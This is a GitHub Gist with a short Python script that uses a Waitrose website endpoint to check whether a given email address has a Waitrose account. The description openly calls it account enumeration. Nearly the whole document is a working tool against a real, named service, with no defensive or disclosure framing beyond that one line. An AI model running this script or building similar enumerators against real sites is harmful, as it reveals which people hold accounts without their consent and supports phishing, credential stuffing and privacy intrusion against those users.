Last active
February 9, 2017 12:35
-
-
Save drewsberry/cee62f3e96449031a68d8378d742495a to your computer and use it in GitHub Desktop.
Waitrose website expose a nice JSON API for account enumeration. This script utilises this endpoint to find out whether an input email address has an account with Waitrose.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import click | |
import requests | |
def has_waitrose_account(email_address): | |
""" Checks whether use with input email address has a Waitrose | |
account. """ | |
enum_endpoint = "https://www.waitrose.com/shop/" + \ | |
"LogonIdLookupCmd?_method=GET&" + \ | |
"logonId=" + email_address | |
response = requests.get(enum_endpoint) | |
response_dict = response.json() | |
return response_dict["proceedToLogon"] | |
@click.command() | |
@click.argument("email_address") | |
def main(email_address): | |
has_account = has_waitrose_account(email_address) | |
if has_account: | |
print("The user", email_address, "**does have** a Waitrose account.") | |
else: | |
print("The user", email_address, | |
"**does not** have a Waitrose account.") | |
if __name__ == "__main__": | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment